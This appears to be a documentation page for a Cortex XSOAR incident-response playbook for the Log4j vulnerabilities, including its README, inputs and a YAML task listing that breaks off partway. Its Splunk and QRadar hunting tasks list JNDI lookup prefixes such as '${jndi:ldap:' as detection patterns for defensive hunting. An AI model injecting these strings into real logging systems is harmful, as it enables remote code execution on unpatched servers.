CVE-2021-44228 - Log4j RCE
Critical RCE Vulnerability: log4j - CVE-2021-44228 On Dec. 9, 2021, a remote code execution (RCE) vulnerability in Apache log4j 2 was identified being exploited in the wild. Public proof of concept (PoC) code was released and subsequent investigation revealed that exploitation was incredibly easy to perform. On Dec. 14 2021, another vulnerability was discovered related the log4j 0-day exploit known as CVE-2021-45046. On Dec 18 2021, yet another vulnerability was discovered related the log4j 0-day exploit known as CVE-2021-45105 that allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3. On Dec 28 2021, another RCE vulnerability was published for Apache Log4j2, versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4). In order to exploit this vulnerability, an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2. **Affected Version** Apache Log4j 2.x <= 2.17.0 This playbook should be triggered manually or can be configured as a job. Please create a new incident and choose the **CVE-2021-44228 - Log4j RCE** playbook and **Rapid Breach Response** incident type. **The playbook includes the following tasks:** * Collect related known indicators from several sources. * Indicators and exploitation patterns hunting using PAN-OS, Cortex XDR and SIEM products. *Search for possible vulnerable servers using Xpanse and Prisma Cloud. * Block indicators automatically or manually. **Mitigations:** * Apache official CVE-2021-44228 patch. * Unit42 recommended mitigations. * Detection Rules. * Snort * Suricata * Sigma * Yara * Zeek Intel More information: [Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)](https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/) Note: This is a beta playbook, which lets you implement and test pre-release software. Since the playbook is beta, it might contain bugs. Updates to the pack during the beta phase might include non-backward compatible features. We appreciate your feedback on the quality and usability of the pack to help us identify issues, fix them, and continually improve.
CVE-2021-44228 - Log4j RCE · 82 tasks · 12 inputs · 0 outputs
Details
| ID | CVE-2021-44228 - Log4j RCE |
|---|---|
| From Version | 6.0.0 |
| To Version | 6.4.9 |
| Tasks | 82 |
README
Critical RCE Vulnerability: log4j - CVE-2021-44228
On Dec. 9, 2021, a remote code execution (RCE) vulnerability in Apache log4j 2 was identified being exploited in the wild. Public proof of concept (PoC) code was released and subsequent investigation revealed that exploitation was incredibly easy to perform.
On Dec. 14 2021, another vulnerability was discovered related the log4j 0-day exploit known as CVE-2021-45046.
On Dec 18 2021, yet another vulnerability was discovered related the log4j 0-day exploit known as CVE-2021-45105 that allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3.
On Dec 28 2021, another RCE vulnerability was published for Apache Log4j2, versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4).
In order to exploit this vulnerability, an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.
Affected Version
Apache Log4j 2.x <= 2.17.0
This playbook should be triggered manually or can be configured as a job.
Please create a new incident and choose the CVE-2021-44228 - Log4j RCE playbook and Rapid Breach Response incident type.
The playbook includes the following tasks:
- Collect related known indicators from several sources.
- Indicators and exploitation patterns hunting using PAN-OS, Cortex XDR and SIEM products.
*Search for possible vulnerable servers using Xpanse and Prisma Cloud. - Block indicators automatically or manually.
Mitigations:
- Apache official CVE-2021-44228 patch.
- Unit42 recommended mitigations.
- Detection Rules.
- Snort
- Suricata
- Sigma
- Yara
- Zeek Intel
More information:
Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)
Note: This is a beta playbook, which lets you implement and test pre-release software. Since the playbook is beta, it might contain bugs. Updates to the pack during the beta phase might include non-backward compatible features. We appreciate your feedback on the quality and usability of the pack to help us identify issues, fix them, and continually improve.
Dependencies
This playbook uses the following sub-playbooks, integrations, and scripts.
Sub-playbooks
- Rapid Breach Response - Set Incident Info
- Panorama Query Logs for Related Session
- Hunt /var/log for exploitation patterns - Uncompressed
- QRadarFullSearch
- Block Indicators - Generic v2
- Palo Alto Networks - Hunting And Threat Detection
- Splunk Indicator Hunting
- QRadar Indicator Hunting V2
Integrations
This playbook does not use any integrations.
Scripts
- IsIntegrationAvailable
- QRadarCreateAQLQuery
- http
- ParseHTMLIndicators
Commands
- xdr-xql-generic-query
- createNewIndicator
- xdr-script-commands-execute
- closeInvestigation
- xdr-get-endpoints
- splunk-search
- redlock-get-rql-response
- extractIndicators
- prisma-cloud-config-search
- associateIndicatorsToIncident
- expanse-get-issues
Playbook Inputs
| Name | Description | Default Value | Required |
|---|---|---|---|
| SplunkIndex | The Splunk index field to search in. Default is “*” |
* | Optional |
| SplunkSourcetype | The Splunk sourcetype field to search in. Default is “*” |
* | Optional |
| SplunkEarliestTime | The earliest time for Splunk query. | -1d@d | Optional |
| SplunkLatestTime | The latest time for the Splunk search query. | now | Optional |
| XDRScriptExecution | Whether to investigate automatically the endpoint logs “/var/log” using XDR Endpoint Script Execution or manually. | False | Optional |
| XDREndpointIDs | The Endpoint IDs to search using XDR Endpoint Script Execution in a comma delimited format. If you would like the playbook to execute the command on all known Linux OS endpoints Set to “ALL”. | Optional | |
| PlaybookDescription | The playbook description for Rapid Breach Response layout. | Critical RCE Vulnerability: log4j - CVE-2021-44228 On Dec. 9, 2021, a remote code execution (RCE) vulnerability in Apache log4j 2 was identified being exploited in the wild. Public proof of concept (PoC) code was released and subsequent investigation revealed that exploitation was incredibly easy to perform. On Dec. 14 2021, another vulnerability was discovered related the log4j 0-day exploit known as CVE-2021-45046. On Dec 18 2021, yet another vulnerability was discovered related the log4j 0-day exploit known as CVE-2021-45105 that allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3. On Dec 28 2021, another RCE vulnerability was published for Apache Log4j2, versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4). In order to exploit this vulnerability, an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2. Affected Version Apache Log4j 2.x <= 2.17.0 This playbook should be triggered manually or can be configured as a job. Please create a new incident and choose the CVE-2021-44228 - Log4j RCE playbook and Rapid Breach Response incident type. The playbook includes the following tasks: * Collect related known indicators from several sources. * Indicators and exploitation patterns hunting using PAN-OS, Cortex XDR and SIEM products. Search for possible vulnerable servers using Xpanse and Prisma Cloud. Block indicators automatically or manually. Mitigations: * Apache official CVE-2021-44228 patch. * Unit42 recommended mitigations. * Detection Rules. * Snort * Suricata * Sigma * Yara * Zeek Intel More information: Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228) Note: This is a beta playbook, which lets you implement and test pre-release software. Since the playbook is beta, it might contain bugs. Updates to the pack during the beta phase might include non-backward compatible features. We appreciate your feedback on the quality and usability of the pack to help us identify issues, fix them, and continually improve. |
Optional |
| EDLDomainBlocklist | The EDL domain blocklist name. | Optional | |
| BlockIndicatorsAutomatically | Whether to block the indicators automatically or not. | True | Optional |
| CollectedIndicatorsSeverity | The verdict of the collected indicators. Default is “Malicious”. Other options can be “Suspicious” and “Unknown”. |
Malicious | Optional |
| RunXQLHuntingQueries | Whether to perform XQL hunting queries. Default is “False”. | False | Optional |
| RelatedCVEs | The log4j related CVEs. | CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832 | Optional |
| QRadarTimeRange | The time range for QRadar query. | Last 1 DAYS | Optional |
Playbook Outputs
There are no outputs for this playbook.
Playbook Image
Inputs
SplunkIndex— The Splunk index field to search in. Default is "*"SplunkSourcetype— The Splunk sourcetype field to search in. Default is "*"SplunkEarliestTime— The earliest time for Splunk query.SplunkLatestTime— The latest time for the Splunk search query.XDRScriptExecution— Whether to investigate automatically the endpoint logs "/var/log" using XDR Endpoint Script Execution or manually.XDREndpointIDs— The Endpoint IDs to search using XDR Endpoint Script Execution in a comma delimited format. If you would like the playbook to execute the command on all known Linux OS endpoints Set to "ALL".PlaybookDescription— The playbook description for Rapid Breach Response layout.CollectedIndicatorsSeverity— The verdict of the collected indicators. Default is "Malicious". Other options can be "Suspicious" and "Unknown".RunXQLHuntingQueries— Whether to perform XQL hunting queries. Default is "False".RelatedCVEs— The log4j related CVEs.QRadarTimeRange— The time range for QRadar query.BlockIndicatorsAutomatically— Whether to block the indicators automatically or not.
Commands used
associateIndicatorsToIncident
closeInvestigation
createNewIndicator
expanse-get-issues
extractIndicators
prisma-cloud-config-search
redlock-get-rql-response
splunk-search
xdr-get-endpoints
xdr-script-commands-execute
xdr-xql-generic-query
Flowchart
id: CVE-2021-44228 - Log4j RCE version: -1 contentitemexportablefields: contentitemfields: {} name: CVE-2021-44228 - Log4j RCE description: "Critical RCE Vulnerability: log4j - CVE-2021-44228\n\nOn Dec. 9, 2021, a remote code execution (RCE) vulnerability in Apache log4j 2 was identified being exploited in the wild. Public proof of concept (PoC) code was released and subsequent investigation revealed that exploitation was incredibly easy to perform. \n\nOn Dec. 14 2021, another vulnerability was discovered related to the log4j 0-day exploit known as CVE-2021-45046.\n\nOn Dec 18 2021, yet another vulnerability was discovered related to the log4j 0-day exploit known as CVE-2021-45105 that allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3.\n\nOn Dec 28 2021, another RCE vulnerability was published for Apache Log4j2, versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4).\nIn order to exploit this vulnerability, an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.\n\n**Affected Version**\n\nApache Log4j 2.x <= 2.17.0\n\nThis playbook should be triggered manually or can be configured as a job.\nPlease create a new incident and choose the **CVE-2021-44228 - Log4j RCE** playbook and **Rapid Breach Response** incident type.\n\n**The playbook includes the following tasks:**\n\n* Collect related known indicators from several sources.\n* Indicators and exploitation patterns hunting using PAN-OS, Cortex XDR and SIEM products.\n*Search for possible vulnerable servers using Xpanse and Prisma Cloud.\n* Block indicators automatically or manually.\n\n**Mitigations:**\n* Apache official CVE-2021-44228 patch.\n* Unit42 recommended mitigations.\n* Detection Rules.\n * Snort\n * Suricata\n * Sigma\n * Yara\n * Zeek Intel\n\nMore information:\n[Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)](https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/)\n\nNote: This is a beta playbook, which lets you implement and test pre-release software. Since the playbook is beta, it might contain bugs. Updates to the pack during the beta phase might include non-backward compatible features. We appreciate your feedback on the quality and usability of the pack to help us identify issues, fix them, and continually improve." starttaskid: "0" tasks: "0": id: "0" taskid: 6d668739-c99e-4eb9-8c96-012b897a8fbf type: start task: id: 6d668739-c99e-4eb9-8c96-012b897a8fbf version: -1 name: "" iscommand: false brand: "" description: '' nexttasks: '#none#': - "66" - "1" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1230, "y": -1610 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "1": id: "1" taskid: 375044f0-ceec-41c3-84ef-ae91d045d4d0 type: title task: id: 375044f0-ceec-41c3-84ef-ae91d045d4d0 version: -1 name: Collect Indicators type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "2" - "98" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 2160, "y": -1450 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "2": id: "2" taskid: ff329f6d-f15b-406b-83f5-c5f1d0fc68a1 type: regular task: id: ff329f6d-f15b-406b-83f5-c5f1d0fc68a1 version: -1 name: Collect indicators from GreyNoise description: This script will extract indicators from HTML and will handle bad TLD to avoid file extensions false positives. scriptName: ParseHTMLIndicators type: regular iscommand: false brand: "" nexttasks: '#none#': - "8" scriptarguments: unescape_domain: simple: "False" url: simple: https://gist.githubusercontent.com/gnremy/c546c7911d5f876f263309d7161a7217/raw separatecontext: false continueonerror: true continueonerrortype: "" view: |- { "position": { "x": 1950, "y": -1300 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "6": id: "6" taskid: a8b3083f-202b-4690-8058-147e2b288cea type: regular task: id: a8b3083f-202b-4690-8058-147e2b288cea version: -1 name: Download Suricata Rules description: |- Download Suricata Rules. Please note the log4j rules are part of the released package. scriptName: http type: regular iscommand: false brand: "" nexttasks: '#none#': - "8" scriptarguments: filename: simple: emerging-exploit-suricata.rules method: simple: GET saveAsFile: simple: "yes" url: simple: https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1020, "y": -1300 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "7": id: "7" taskid: f4ad9b60-68e1-48d3-8e19-06f405bf1a9d type: regular task: id: f4ad9b60-68e1-48d3-8e19-06f405bf1a9d version: -1 name: Download Snort Rules description: |- Download Snort Rules. Please note the log4j rules are part of the released package. scriptName: http type: regular iscommand: false brand: "" nexttasks: '#none#': - "8" scriptarguments: filename: simple: emerging-exploit-snort.rules method: simple: GET saveAsFile: simple: "yes" url: simple: https://rules.emergingthreatspro.com/open/snort-2.9.0/rules/emerging-exploit.rules separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1440, "y": -1300 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "8": id: "8" taskid: 46ff469c-c3b0-4931-87bf-4d539026bb3b type: title task: id: 46ff469c-c3b0-4931-87bf-4d539026bb3b version: -1 name: Extract Indicators type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "9" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1230, "y": -1130 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "9": id: "9" taskid: 38d6d76b-5d91-40b3-8b27-8b02328704a9 type: regular task: id: 38d6d76b-5d91-40b3-8b27-8b02328704a9 version: -1 name: Extract Indicators From Data Collected description: commands.local.cmd.extract.indicators script: Builtin|||extractIndicators type: regular iscommand: true brand: Builtin nexttasks: '#none#': - "10" scriptarguments: text: complex: root: http.parsedBlog accessor: indicators separatecontext: false continueonerror: true continueonerrortype: "" view: |- { "position": { "x": 1230, "y": -970 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "10": id: "10" taskid: d2557d65-16c3-43e7-819e-b1e20771c0c5 type: title task: id: d2557d65-16c3-43e7-819e-b1e20771c0c5 version: -1 name: Tag and Link Indicators type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "57" - "58" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1230, "y": -770 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "15": id: "15" taskid: ba3e68ac-c744-46a8-879c-734ee62a97eb type: regular task: id: ba3e68ac-c744-46a8-879c-734ee62a97eb version: -1 name: Link Indicators To Incident description: commands.local.cmd.associate.indicators script: Builtin|||associateIndicatorsToIncident type: regular iscommand: true brand: Builtin nexttasks: '#none#': - "36" scriptarguments: incidentId: complex: root: incident accessor: id indicatorsValues: complex: root: ExtractedIndicators.IP filters: - - operator: isNotEmpty left: value: simple: ExtractedIndicators.IP iscontext: true transformers: - operator: append args: item: value: simple: ExtractedIndicators.Domain iscontext: true - operator: append args: item: value: simple: ExtractedIndicators.URL iscontext: true - operator: append args: item: value: simple: ExtractedIndicators.CVE iscontext: true - operator: append args: item: value: simple: ExtractedIndicators.File iscontext: true separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1230, "y": -410 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "16": id: "16" taskid: ff06de57-c1d6-4cd8-8981-fc665ab3f828 type: title task: id: ff06de57-c1d6-4cd8-8981-fc665ab3f828 version: -1 name: SIEM Hunting type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "19" - "20" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 760, "y": 250 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "17": id: "17" taskid: 690b77a9-f5d5-4924-8fe8-79f1088a83b1 type: title task: id: 690b77a9-f5d5-4924-8fe8-79f1088a83b1 version: -1 name: Palo Alto Networks Hunting type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "27" - "28" - "88" - "92" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1700, "y": 250 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "19": id: "19" taskid: 0e9e5d70-0e71-46a0-8f5d-1ba9c7c5ca2c type: playbook task: id: 0e9e5d70-0e71-46a0-8f5d-1ba9c7c5ca2c version: -1 name: Splunk Indicator Hunting description: This playbook queries Splunk for indicators such as file hashes, IP addresses, domains, or urls. It outputs detected users, ip addresses, and hostnames related to the indicators. playbookName: Splunk Indicator Hunting type: playbook iscommand: false brand: "" nexttasks: '#none#': - "37" scriptarguments: IPAddress: complex: root: ExtractedIndicators accessor: IP transformers: - operator: uniq IndexName: complex: root: inputs.SplunkIndex SelectFields: simple: source,timestamp URLDomain: complex: root: ExtractedIndicators accessor: Domain transformers: - operator: uniq earliest_time: complex: root: inputs.SplunkEarliestTime event_limit: simple: "100" latest_time: complex: root: inputs.SplunkLatestTime separatecontext: true continueonerrortype: "" loop: iscommand: false scriptArguments: IPAddress: complex: root: ExtractedIndicators accessor: IP transformers: - operator: uniq IndexName: simple: index=* MD5: complex: root: ExtractedIndicators filters: - - operator: stringHasLength left: value: simple: ExtractedIndicators iscontext: true right: value: simple: "32" accessor: File transformers: - operator: uniq SHA1: complex: root: ExtractedIndicators filters: - - operator: stringHasLength left: value: simple: ExtractedIndicators iscontext: true right: value: simple: "40" accessor: File transformers: - operator: uniq SHA256: complex: root: ExtractedIndicators filters: - - operator: stringHasLength left: value: simple: ExtractedIndicators iscontext: true right: value: simple: "64" accessor: File transformers: - operator: uniq SelectFields: simple: source,timestamp URLDomain: complex: root: ExtractedIndicators accessor: Domain transformers: - operator: uniq earliest_time: complex: root: inputs.SplunkEarliestTime event_limit: simple: "100" latest_time: complex: root: inputs.SplunkLatestTime exitCondition: "" wait: 1 max: 100 view: |- { "position": { "x": 970, "y": 410 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "20": id: "20" taskid: 91c4f473-2705-4dd7-8ea6-45ca00b9140f type: playbook task: id: 91c4f473-2705-4dd7-8ea6-45ca00b9140f version: -1 name: QRadar Indicator Hunting V2 description: 'The Playbook queries QRadar SIEM for indicators such as file hashes, IP addresses, domains, or urls. ' playbookName: QRadar Indicator Hunting V2 type: playbook iscommand: false brand: "" nexttasks: '#none#': - "37" scriptarguments: IPAddress: complex: root: ExtractedIndicators accessor: IP transformers: - operator: uniq InvestigationIPFields: simple: sourceip,destinationip InvestigationUserFields: simple: username QradarIPfield: simple: sourceip,destinationip TimeFrame: complex: root: inputs.QRadarTimeRange URLDomain: complex: root: ExtractedIndicators accessor: Domain transformers: - operator: uniq separatecontext: true continueonerrortype: "" loop: iscommand: false scriptArguments: IPAddress: complex: root: ExtractedIndicators accessor: IP transformers: - operator: uniq InvestigationIPFields: simple: sourceip,destinationip InvestigationUserFields: simple: username MD5: complex: root: ExtractedIndicators.File filters: - - operator: stringHasLength left: value: simple: ExtractedIndicators.File iscontext: true right: value: simple: "32" transformers: - operator: uniq QradarIPfield: simple: sourceip,destinationip SHA1: complex: root: ExtractedIndicators.File filters: - - operator: stringHasLength left: value: simple: ExtractedIndicators.File iscontext: true right: value: simple: "40" transformers: - operator: uniq SHA256: complex: root: ExtractedIndicators.File filters: - - operator: stringHasLength left: value: simple: ExtractedIndicators.File iscontext: true right: value: simple: "64" transformers: - operator: uniq TimeFrame: complex: root: inputs.QRadarTimeRange URLDomain: complex: root: ExtractedIndicators accessor: Domain transformers: - operator: uniq exitCondition: "" wait: 1 max: 100 view: |- { "position": { "x": 550, "y": 410 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "21": id: "21" taskid: d3788657-6a02-4597-8411-ad6765c20b02 type: title task: id: d3788657-6a02-4597-8411-ad6765c20b02 version: -1 name: SIEM Advanced Hunting type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "22" - "24" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": -10, "y": 250 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "22": id: "22" taskid: ce46f533-ba43-4439-84db-93cb6fa665c3 type: condition task: id: ce46f533-ba43-4439-84db-93cb6fa665c3 version: -1 name: Is Splunk Enabled? description: Check if Splunk instance is enabled. type: condition iscommand: false brand: "" nexttasks: '#default#': - "37" "Yes": - "26" separatecontext: false conditions: - label: "Yes" condition: - - operator: isExists left: value: complex: root: modules filters: - - operator: isEqualString left: value: simple: modules.brand iscontext: true right: value: simple: SplunkPy - - operator: isEqualString left: value: simple: modules.state iscontext: true right: value: simple: active iscontext: true continueonerrortype: "" view: |- { "position": { "x": -10, "y": 410 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "23": id: "23" taskid: bd2d504a-169b-4a33-8726-7722d98a6323 type: title task: id: bd2d504a-169b-4a33-8726-7722d98a6323 version: -1 name: Threat Hunting type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "17" - "21" - "16" separatecontext: false view: |- { "position": { "x": 1230, "y": 100 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "24": id: "24" taskid: 766ac747-9954-4c38-877a-73d929f09ee3 type: condition task: id: 766ac747-9954-4c38-877a-73d929f09ee3 version: -1 name: Is QRadar Enabled? description: Check if Splunk instance is enabled. type: condition iscommand: false brand: "" nexttasks: '#default#': - "37" "Yes": - "25" separatecontext: false conditions: - label: "Yes" condition: - - operator: isExists left: value: complex: root: modules filters: - - operator: isEqualString left: value: simple: modules.brand iscontext: true right: value: simple: QRadar_v2 - - operator: isEqualString left: value: simple: modules.state iscontext: true right: value: simple: active iscontext: true continueonerrortype: "" view: |- { "position": { "x": -610, "y": 395 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "25": id: "25" taskid: db160bf9-5ec5-438a-801e-e54101346b5b type: regular task: id: db160bf9-5ec5-438a-801e-e54101346b5b version: -1 name: Build QRadar AQL Query description: Build QRadar AQL Query. scriptName: QRadarCreateAQLQuery type: regular iscommand: false brand: "" nexttasks: '#none#': - "60" scriptarguments: base_field_match: simple: partial base_field_state: simple: include base_fields_to_search: simple: user_agent base_values_to_search: simple: '"${jndi:ldap:","${jndi:rmi:","${jndi:ldaps:","${jndi:dns:","{jndi:corba:","{jndi:iiop:","{jndi:nis:","{jndi:nds:"' select_fields: simple: DATEFORMAT(devicetime,'dd-MM-yyyy hh:mm'),LOGSOURCENAME(logsourceid),CATEGORYNAME(category),QIDNAME(qid),sourceip,destinationip,username') time_frame: complex: root: inputs.QRadarTimeRange separatecontext: false continueonerror: true continueonerrortype: "" view: |- { "position": { "x": -900, "y": 590 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "26": id: "26" taskid: aa41800c-7de2-42ff-83a6-ce707cd19b3c type: regular task: id: aa41800c-7de2-42ff-83a6-ce707cd19b3c version: -1 name: Search for exploitation patterns description: Searches Splunk for suspicious file creation where the file path is under INETCACHE. script: '|||splunk-search' type: regular iscommand: true brand: "" nexttasks: '#none#': - "37" scriptarguments: earliest_time: complex: root: inputs.SplunkEarliestTime query: simple: index=${inputs.SplunkIndex} sourcetype=${inputs.SplunkSourcetype} "${jndi:ldap:" OR "${jndi:rmi:" OR "${jndi:ldaps:" OR "${jndi:dns:" OR "{jndi:corba:" OR "{jndi:iiop:" OR "{jndi:nis:" OR "{jndi:nds:" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": -310, "y": 590 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "27": id: "27" taskid: a2cdee61-33c4-4684-8671-827617520196 type: playbook task: id: a2cdee61-33c4-4684-8671-827617520196 version: -1 name: Palo Alto Networks - Hunting And Threat Detection description: "This is a multipurpose playbook used for hunting and threat detection.\ \ The playbook receives inputs based on hashes, IP addresses, or domain names\ \ provided manually or from outputs by other playbooks. \nWith the received\ \ indicators, the playbook leverages data received by PANW products including,\ \ Cortex Data Lake, Autofocus and Pan-OS to search for IP addresses, host\ \ names and users related to the provided indicators.\nThe output provided\ \ by the playbook facilitates pivoting searches for possibly affected IP addresses\ \ or users." playbookName: Palo Alto Networks - Hunting And Threat Detection type: playbook iscommand: false brand: "" nexttasks: '#none#': - "37" scriptarguments: IPAddresses: complex: root: ExtractedIndicators accessor: IP separatecontext: true continueonerrortype: "" loop: iscommand: false exitCondition: "" wait: 1 max: 100 view: |- { "position": { "x": 1490, "y": 410 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "28": id: "28" taskid: b607ef62-cd57-4f86-8830-930ca8299369 type: playbook task: id: b607ef62-cd57-4f86-8830-930ca8299369 version: -1 name: Panorama Query Logs for Related Session description: 'Query Panorama Logs of types: traffic, threat, url, data-filtering and wildfire.' playbookName: Panorama Query Logs type: playbook iscommand: false brand: "" nexttasks: '#none#': - "37" scriptarguments: log_type: simple: threat query: simple: (threatid eq 91991) or (threatid eq 91994) or (threatid eq 91995) or (threatid eq 92001) or (threatid eq 92012) separatecontext: true continueonerrortype: "" loop: iscommand: false exitCondition: "" wait: 1 max: 100 view: |- { "position": { "x": 1910, "y": 410 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "29": id: "29" taskid: 6130897b-5607-410c-8405-02999fa3cf03 type: title task: id: 6130897b-5607-410c-8405-02999fa3cf03 version: -1 name: 'Remediation ' type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "39" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1150, "y": 2795 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "32": id: "32" taskid: b665d4ae-a168-4a07-8f23-2c6ed21c6035 type: condition task: id: b665d4ae-a168-4a07-8f23-2c6ed21c6035 version: -1 name: Should search using XDR Endpoint Script Execution? description: Checks whether to execute XDR shell script for exploitation hunting. type: condition iscommand: false brand: "" nexttasks: '#default#': - "29" "yes": - "33" separatecontext: false conditions: - label: "yes" condition: - - operator: isEqualString left: value: complex: root: inputs.XDRScriptExecution iscontext: true right: value: simple: "True" ignorecase: true continueonerrortype: "" view: |- { "position": { "x": 1680, "y": 1920 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "33": id: "33" taskid: 82d57e36-15a7-4228-81a1-0115bc8ad5c9 type: condition task: id: 82d57e36-15a7-4228-81a1-0115bc8ad5c9 version: -1 name: Should run on all known Linux OS endpoints? description: Checks whether the necessary input 'XDREndpointIDs' was provided. type: condition iscommand: false brand: "" nexttasks: '#default#': - "29" ALL: - "70" Specific: - "72" separatecontext: false conditions: - label: ALL condition: - - operator: isEqualString left: value: complex: root: inputs.XDREndpointIDs iscontext: true right: value: simple: ALL ignorecase: true - label: Specific condition: - - operator: isNotEmpty left: value: complex: root: inputs.XDREndpointIDs iscontext: true - - operator: isNotEqualString left: value: complex: root: inputs.XDREndpointIDs iscontext: true right: value: simple: ALL ignorecase: true continueonerrortype: "" view: |- { "position": { "x": 1860, "y": 2110 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "35": id: "35" taskid: 56b2948b-0911-4038-8b2f-6e064d96b88e type: playbook task: id: 56b2948b-0911-4038-8b2f-6e064d96b88e version: -1 name: Rapid Breach Response - Set Incident Info description: This playbook is responsible for setting up the Rapid Breach Response Incident Info tab. playbookName: Rapid Breach Response - Set Incident Info type: playbook iscommand: false brand: "" nexttasks: '#none#': - "23" scriptarguments: SourceOfIndicators: complex: root: http.parsedBlog accessor: sourceLink countTotalIndicators: complex: root: ExtractedIndicators accessor: Domain transformers: - operator: append args: item: value: simple: ExtractedIndicators.IP iscontext: true - operator: append args: item: value: simple: ExtractedIndicators.URL iscontext: true - operator: append args: item: value: simple: ExtractedIndicators.File iscontext: true - operator: append args: item: value: simple: ExtractedIndicators.CVE iscontext: true - operator: uniq - operator: count playbookDescription: complex: root: inputs.PlaybookDescription separatecontext: true continueonerrortype: "" loop: iscommand: false scriptArguments: SourceOfIndicators: complex: root: http.parsedBlog accessor: sourceLink countTotalIndicators: complex: root: ExtractedIndicators 